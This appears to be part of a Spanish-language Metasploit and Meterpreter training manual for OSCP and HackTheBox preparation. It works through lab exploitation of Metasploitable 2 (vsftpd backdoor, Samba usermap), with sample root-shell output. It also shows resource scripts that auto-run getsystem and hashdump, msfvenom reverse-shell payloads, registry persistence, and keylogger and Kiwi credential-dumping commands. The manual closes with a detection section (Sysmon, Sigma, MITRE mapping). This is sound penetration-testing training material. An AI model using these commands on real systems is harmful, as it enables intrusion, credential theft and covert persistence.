π‘ Pista: post/windows/manage/persistence con STARTUP=REGISTRY --- Reiniciar VM --- Handler escuchando en el mismo puerto
Ver soluciΓ³n
use post/windows/manage/persistence --- set SESSION 1 --- set STARTUP REGISTRY --- run --- Reiniciar la VM objetivo --- Levantar handler: use exploit/multi/handler --- run --- Al arrancar Windows, el payload ejecuta y conecta automaticamente. Limpiar: ejecutar el script .rc de limpieza generado por el modulo.
πEjercicio 7 β Metasploit en CTF y HackTheBox
Flujo de trabajo optimizado y los 10 exploits mΓ‘s frecuentes en HTB/THM
Estrategias especΓficas para usar Metasploit eficientemente en CTFs de HackTheBox y TryHackMe. Incluye flujo de trabajo optimizado y los exploits mΓ‘s frecuentes en estos entornos.
πFLUJO DE TRABAJO CTF/HTB CON METASPLOIT
# 1. RECONOCIMIENTO:
nmap -sCV -p- IP_OBJETIVO --open -oN nmap_full.txt
# 2. BUSCAR EXPLOITS para los servicios encontrados:
msf6 > search type:exploit name:SERVICIO
msf6 > search cve:AΓO SERVICIO
msf6 > search platform:windows SERVICIO NOMBRE_CVE
# 3. VER INFO del exploit antes de usar:
msf6 > info exploit/windows/smb/EXPLOIT_NAME
# Ver: descripcion, CVE, check si tiene funcion de verificacion
# 4. CONFIGURAR Y VERIFICAR:
msf6 > use exploit/windows/smb/EXPLOIT_NAME
msf6 > set RHOSTS IP_HTB
msf6 > set LHOST TUN0_IP # <- IP de tu interfaz VPN de HTB
msf6 > check # Si el modulo lo soporta, verifica sin explotar
# 5. EXPLOTAR:
msf6 > run
# 6. OBTENER FLAGS:
meterpreter > search -f user.txt -d C:\
meterpreter > search -f root.txt -d C:\
meterpreter > cat 'C:\Users\Administrator\Desktop\root.txt'
# WINDOWS:
# 1. EternalBlue (HTB: Blue, Legacy, Lame...)
exploit/windows/smb/ms17_010_eternalblue
# 2. MS08-067 (Windows XP, Server 2003 - HTB: Legacy)
exploit/windows/smb/ms08_067_netapi
# 3. BlueKeep RDP (CVE-2019-0708, Windows 7)
exploit/windows/rdp/cve_2019_0708_bluekeep_rce
# 4. PrintNightmare (CVE-2021-34527)
exploit/windows/local/cve_2021_34527_printnightmare
# LINUX:
# 5. Shellshock (CVE-2014-6271, Apache CGI)
exploit/multi/http/apache_mod_cgi_bash_env_exec
# 6. Samba Usermap Script (Metasploitable 2)
exploit/multi/samba/usermap_script
# 7. vsftpd Backdoor (Metasploitable 2)
exploit/unix/ftp/vsftpd_234_backdoor
# WEB:
# 8. Tomcat WAR Upload (Metasploitable 2)
exploit/multi/http/tomcat_mgr_upload
# 9. PHP CGI Argument Injection
exploit/multi/http/php_cgi_arg_injection
# 10. Drupalgeddon 2 (CVE-2018-7600)
exploit/unix/webapp/drupal_drupalgeddon2
π‘ En HTB, recuerda usar como LHOST la IP de la interfaz tun0 (la VPN de HTB), no la IP de tu red local. Comprueba con ip a show tun0.
π Ejercicio 8 β AutomatizaciΓ³n con Resource Scripts
Automatizar Metasploit con .rc scripts: handlers, post-explotaciΓ³n y makerc
Los Resource Scripts (.rc) son secuencias de comandos de msfconsole que se ejecutan automΓ‘ticamente. Son ideales para automatizar configuraciones repetitivas, crear listeners persistentes o ejecutar mΓΊltiples mΓ³dulos en secuencia.
1
Crear y usar Resource ScriptsRESOURCE SCRIPTS
# Crear un script que levante automaticamente el handler:
cat > handler.rc << 'EOF'
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.56.5
set LPORT 4444
set ExitOnSession false
run -j
EOF
# Ejecutar el script al iniciar msfconsole:
msfconsole -r handler.rc
# O desde dentro de msfconsole:
msf6 > resource handler.rc
# Script mas completo para pentest:
cat > pentest.rc << 'EOF'
setg LHOST 192.168.56.5
setg LPORT 4444
db_nmap -sCV 192.168.56.20
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
run -j
EOF
2
makerc: guardar el historial de comandosMAKERC
# Durante una sesion de msfconsole, guardar todo lo que has hecho:
msf6 > makerc /tmp/mi_sesion.rc
# Guarda todos los comandos ejecutados en la sesion actual
# La proxima vez, reproducir exactamente la misma secuencia:
msfconsole -r /tmp/mi_sesion.rc
# Muy util para:
# - Repetir un pentest en el mismo entorno
# - Documentar exactamente lo que hiciste
# - Compartir con otros analistas del equipo
3
AutoRunScript: ejecutar comandos al obtener sesiΓ³nAUTORUN
# AutoRunScript ejecuta comandos automaticamente cuando llega una sesion
# Ejemplo: al obtener sesion, migrar proceso y volcar hashes
msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.56.5
msf6 > set LPORT 4444
msf6 > set AutoRunScript 'multi_console_command -rc /tmp/post_exploit.rc'
# Contenido de post_exploit.rc:
cat > /tmp/post_exploit.rc << 'EOF'
getsystem
hashdump
run post/multi/recon/local_exploit_suggester
screenshot
EOF
# Al conectarse cualquier sesion, se ejecutan automaticamente
β Ejercicio prΓ‘ctico
Crea un Resource Script que: (1) configure LHOST y LPORT globalmente, (2) levante un handler en background, y (3) use local_exploit_suggester en la sesiΓ³n 1 automΓ‘ticamente.
π‘ Pista: cat > script.rc con los comandos --- msfconsole -r script.rc
Ver soluciΓ³n
cat > auto_post.rc << EOF --- setg LHOST TU_IP --- setg LPORT 4444 --- use exploit/multi/handler --- set payload windows/x64/meterpreter/reverse_tcp --- set ExitOnSession false --- run -j --- use post/multi/recon/local_exploit_suggester --- set SESSION 1 --- run --- EOF --- msfconsole -r auto_post.rc
π΄Ejercicio 9 β Caso PrΓ‘ctico: Metasploitable 2
Comprometer Metasploitable 2: vsftpd backdoor, Samba usermap y mΓ‘s
Metasploitable 2 es una VM Linux intencionalmente vulnerable creada por Rapid7 especΓficamente para practicar Metasploit. Tiene docenas de servicios vulnerables configurados por defecto y es el laboratorio estΓ‘ndar para aprender pentesting. DescΓ‘rgala desde: https://sourceforge.net/projects/metasploitable/
π΄VULNERABILIDADES CLAVE DE METASPLOITABLE 2
| Servicio | Puerto | Vulnerabilidad | MΓ³dulo Metasploit |
|---|
| vsftpd 2.3.4 | 21 | Backdoor en la versiΓ³n troyanizada | exploit/unix/ftp/vsftpd_234_backdoor |
| Samba 3.x | 139/445 | Usermap Script (ejecuciΓ³n arbitraria) | exploit/multi/samba/usermap_script |
| Apache Tomcat | 8180 | Manager con credenciales por defecto | exploit/multi/http/tomcat_mgr_upload |
| IRC UnrealIRCd | 6667 | Backdoor en la versiΓ³n troyanizada | exploit/unix/irc/unreal_ircd_3281_backdoor |
| PHP CGI | 80 | InyecciΓ³n de argumentos PHP | exploit/multi/http/php_cgi_arg_injection |
| PostgreSQL | 5432 | Credenciales por defecto postgres:postgres | auxiliary/scanner/postgres/postgres_login |
| Distcc | 3632 | EjecuciΓ³n remota de comandos | exploit/unix/misc/distcc_exec |
1
Reconocimiento completo de Metasploitable 2RECON
# db_nmap guarda los resultados directamente en la base de datos de Metasploit:
msf6 > db_nmap -sCV -p- 192.168.56.30 --open
# Ver los hosts y servicios descubiertos:
msf6 > hosts
msf6 > services
msf6 > services -p 21 # Solo el puerto 21
msf6 > services -S ftp # Solo servicios FTP
# Buscar vulns para los servicios encontrados:
msf6 > vulns
2
Explotar vsftpd BackdoorVSFTPD
# El vsftpd 2.3.4 fue comprometido en 2011
# Si el usuario de login contiene ':)' se activa una backdoor en el puerto 6200
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.56.30
msf6 > run
# Salida:
# [*] Banner: 220 (vsFTPd 2.3.4)
# [*] USER: 331 Please specify the password.
# [+] Backdoor service has been spawned, handling...
# [+] UID: uid=0(root) gid=0(root)
# id
# uid=0(root) gid=0(root) groups=0(root)
# whoami
# root
3
Explotar Samba Usermap ScriptSAMBA
# Samba 3.0.20-3.0.25rc3 tiene una vulnerabilidad en el manejo del username
# Cuando Samba usa un script para mapear usuarios (/etc/samba/smb.conf)
# es posible inyectar comandos en el nombre de usuario
msf6 > use exploit/multi/samba/usermap_script
msf6 > set RHOSTS 192.168.56.30
msf6 > set LHOST 192.168.56.5
msf6 > run
# Salida:
# [*] Started reverse TCP double handler on 192.168.56.5:4444
# [*] Accepted the first client connection...
# [*] Command shell session 1 opened
# id
# uid=0(root) gid=0(root)
# hostname
# metasploitable
β
Β Con Metasploitable 2 puedes practicar mΓ‘s de 15 exploits distintos de Metasploit en un solo entorno de laboratorio.
πReferencia: Comandos de Meterpreter
Todos los comandos de Meterpreter mΓ‘s utilizados en pentesting
| Comando | DescripciΓ³n |
|---|
sysinfo | InformaciΓ³n del sistema (OS, arquitectura, hostname) |
getuid | Usuario actual en el sistema objetivo |
getpid | PID del proceso de Meterpreter |
ps | Lista de procesos en ejecuciΓ³n |
migrate PID | Migrar Meterpreter a otro proceso |
getsystem | Intentar escalada automΓ‘tica de privilegios a SYSTEM |
hashdump | Volcar hashes NT de la SAM local (requiere SYSTEM/Admin) |
load kiwi | Cargar la extensiΓ³n Kiwi (Mimikatz integrado) |
creds_all | Volcar todas las credenciales (tras load kiwi) |
shell | Abrir una shell cmd.exe interactiva |
background | Enviar la sesiΓ³n al fondo (CTRL+Z tambiΓ©n) |
sessions -l | Listar todas las sesiones activas (desde msfconsole) |
sessions -i N | Conectar a la sesiΓ³n N |
sessions -k N | Terminar la sesiΓ³n N |
ipconfig | ConfiguraciΓ³n de red del objetivo |
route | Tabla de rutas del objetivo |
portfwd add | Crear un port forward |
download archivo | Descargar un archivo del objetivo a Kali |
upload archivo ruta | Subir un archivo de Kali al objetivo |
search -f patron -d ruta | Buscar archivos por nombre |
screenshot | Captura de pantalla del escritorio |
keyscan_start | Iniciar el keylogger |
keyscan_dump | Volcar las teclas capturadas por el keylogger |
keyscan_stop | Detener el keylogger |
run MODULE | Ejecutar un mΓ³dulo post directamente |
πCheatsheet Completo de msfconsole
Referencia rΓ‘pida de todos los comandos de Metasploit y Meterpreter
# ββ BUSQUEDA Y SELECCION DE MODULOS βββββββββββββββββ
msf6 > search eternalblue
msf6 > search type:exploit platform:windows smb
msf6 > search cve:2017-0144
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > info # Info del modulo activo
msf6 > show options # Ver y configurar opciones
# ββ CONFIGURACION ββββββββββββββββββββββββββββββββββββ
msf6 > set RHOSTS 192.168.56.20
msf6 > set LHOST 192.168.56.5
msf6 > set LPORT 4444
msf6 > setg LHOST 192.168.56.5 # Variable global
msf6 > show payloads # Ver payloads compatibles
msf6 > set payload windows/x64/meterpreter/reverse_tcp
# ββ EJECUCION βββββββββββββββββββββββββββββββββββββββββ
msf6 > run # Ejecutar el modulo
msf6 > check # Verificar sin explotar
msf6 > run -j # Ejecutar en background
# ββ SESIONES βββββββββββββββββββββββββββββββββββββββββ
msf6 > sessions -l # Listar sesiones
msf6 > sessions -i 1 # Conectar sesion 1
msf6 > sessions -k 1 # Terminar sesion 1
msf6 > sessions -K # Terminar todas
# ββ MSFVENOM βββββββββββββββββββββββββββββββββββββββββ
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf
msfvenom -p php/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.php
msfvenom -l payloads | grep windows/x64
msfvenom -l formats
# ββ METERPRETER ββββββββββββββββββββββββββββββββββββββ
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getsystem
meterpreter > hashdump
meterpreter > load kiwi
meterpreter > creds_all
meterpreter > shell
meterpreter > background
meterpreter > ps
meterpreter > migrate PID
meterpreter > download archivo
meterpreter > upload archivo ruta
meterpreter > search -f *.txt -d C:\
meterpreter > portfwd add -l 13389 -p 3389 -r 10.10.10.100
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > run post/windows/gather/hashdump
# ββ POST MODULOS CLAVE βββββββββββββββββββββββββββββββ
post/multi/recon/local_exploit_suggester
post/windows/gather/hashdump
post/windows/gather/smart_hashdump
post/windows/gather/enum_applications
post/windows/manage/persistence
post/multi/manage/autoroute
# ββ HANDLER RAPIDO βββββββββββββββββββββββββββββββββββ
msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.56.5
msf6 > set LPORT 4444
msf6 > set ExitOnSession false
msf6 > run -j
π‘DetecciΓ³n y Defensa contra Metasploit
CΓ³mo detectar Meterpreter, EternalBlue y tΓ©cnicas de post-explotaciΓ³n
π‘CΓMO DETECTAR METASPLOIT Y METERPRETER
| TΓ©cnica | Event IDs / Indicadores | QuΓ© buscar |
|---|
| Meterpreter en memoria | Sysmon Event 1, 7 | DLL sin firma en memoria, reflective DLL load, proceso sin archivo en disco |
| EternalBlue SMB | Event 4625, 5145, Sysmon 1 | TrΓ‘fico SMB anormal, lsass creando procesos hijos |
| hashdump / Kiwi | Event 4656, 4663, Sysmon 10 | Acceso a lsass.exe desde un proceso inesperado |
| getsystem | Event 4672, 4673 | Token de privilegio obtenido por un proceso inesperado |
| Persistencia Run key | Event 4657, Sysmon 13 | ModificaciΓ³n de HKCU\...\Run con un nuevo valor |
| msfvenom EXE | Sysmon Event 1 | Proceso creado desde %TEMP%, %APPDATA% o %DOWNLOADS% |
| Reverse TCP | Sysmon Event 3, firewall | ConexiΓ³n saliente en puerto no estandar, proceso sin firma |
# Instalar Sysmon con la configuracion de SwiftOnSecurity:
# https://github.com/SwiftOnSecurity/sysmon-config
Sysmon64.exe -accepteula -i sysmonconfig.xml
# Detectar acceso a lsass (Meterpreter hashdump / Kiwi):
# Sysmon Event ID 10: ProcessAccess donde TargetImage = lsass.exe
# Buscar en Event Viewer:
# Windows Logs -> Sysmon/Operational -> EventID=10
# Filtro: TargetImage = C:\Windows\System32\lsass.exe
# Detectar proceso en memoria sin archivo (Meterpreter):
# Sysmon Event ID 7: ImageLoaded con firma invalida o ausente
# Regla Sigma para deteccion de Meterpreter:
# title: Meterpreter or Cobalt Strike Getsystem Service Installation
# detection:
# selection:
# EventID: 7045
# ServiceName|contains:
# - 'MSSE-'
# - 'VNM-'
# - 'rqkk'
# - 'RDO-'
# Herramienta de deteccion: Loki IOC Scanner
# https://github.com/Neo23x0/Loki
python3 loki.py -p C:\ --noindicator --csv
πMITRE ATT&CK β Mapping de Metasploit
TΓ©cnicas MITRE ATT&CK cubiertas por Metasploit y Meterpreter
| TΓ‘ctica | TΓ©cnica MITRE | MΓ³dulo / Comando |
|---|
| Initial Access | T1190 Exploit Public-Facing App | exploit/windows/smb/ms17_010_eternalblue |
| Execution | T1059.001 PowerShell | msfvenom -f psh, Meterpreter shell |
| Execution | T1106 Native API | Meterpreter reflective DLL injection |
| Persistence | T1547.001 Registry Run Keys | post/windows/manage/persistence STARTUP=REGISTRY |
| Persistence | T1053.005 Scheduled Task | post/windows/manage/persistence STARTUP=SCHEDULER |
| Privilege Escalation | T1548.002 BypassUAC | exploit/windows/local/bypassuac_eventvwr |
| Privilege Escalation | T1134 Token Impersonation | getsystem (Named Pipe Impersonation) |
| Defense Evasion | T1055.001 DLL Injection | Meterpreter reflective DLL en memoria |
| Credential Access | T1003.001 LSASS Memory | load kiwi, creds_all, hashdump |
| Credential Access | T1003.002 SAM Dump | hashdump, post/windows/gather/hashdump |
| Discovery | T1083 File and Directory Discovery | meterpreter search, ls, pwd |
| Lateral Movement | T1021.002 SMB/Admin Shares | exploit/windows/smb/*, Impacket desde Meterpreter |
| Collection | T1056.001 Keylogging | keyscan_start, keyscan_dump |
| Command and Control | T1095 Non-App Layer Protocol | Meterpreter reverse_tcp (cifrado TLS) |
| Lateral Movement | T1090 Proxy | auxiliary/server/socks_proxy + autoroute |
β CONCLUSIΓNHas completado el manual de Metasploit y Meterpreter en contexto OSCP/HTB. Conoces la arquitectura del framework (exploits, payloads, auxiliares, post), sabes generar payloads con msfvenom para cualquier plataforma, dominas los comandos de Meterpreter para post-explotaciΓ³n, escalada, pivoting y persistencia, y has practicado sobre Metasploitable 2 con los exploits mΓ‘s icΓ³nicos. Este es exactamente el nivel de conocimiento que requieren OSCP, eJPT y HackTheBox.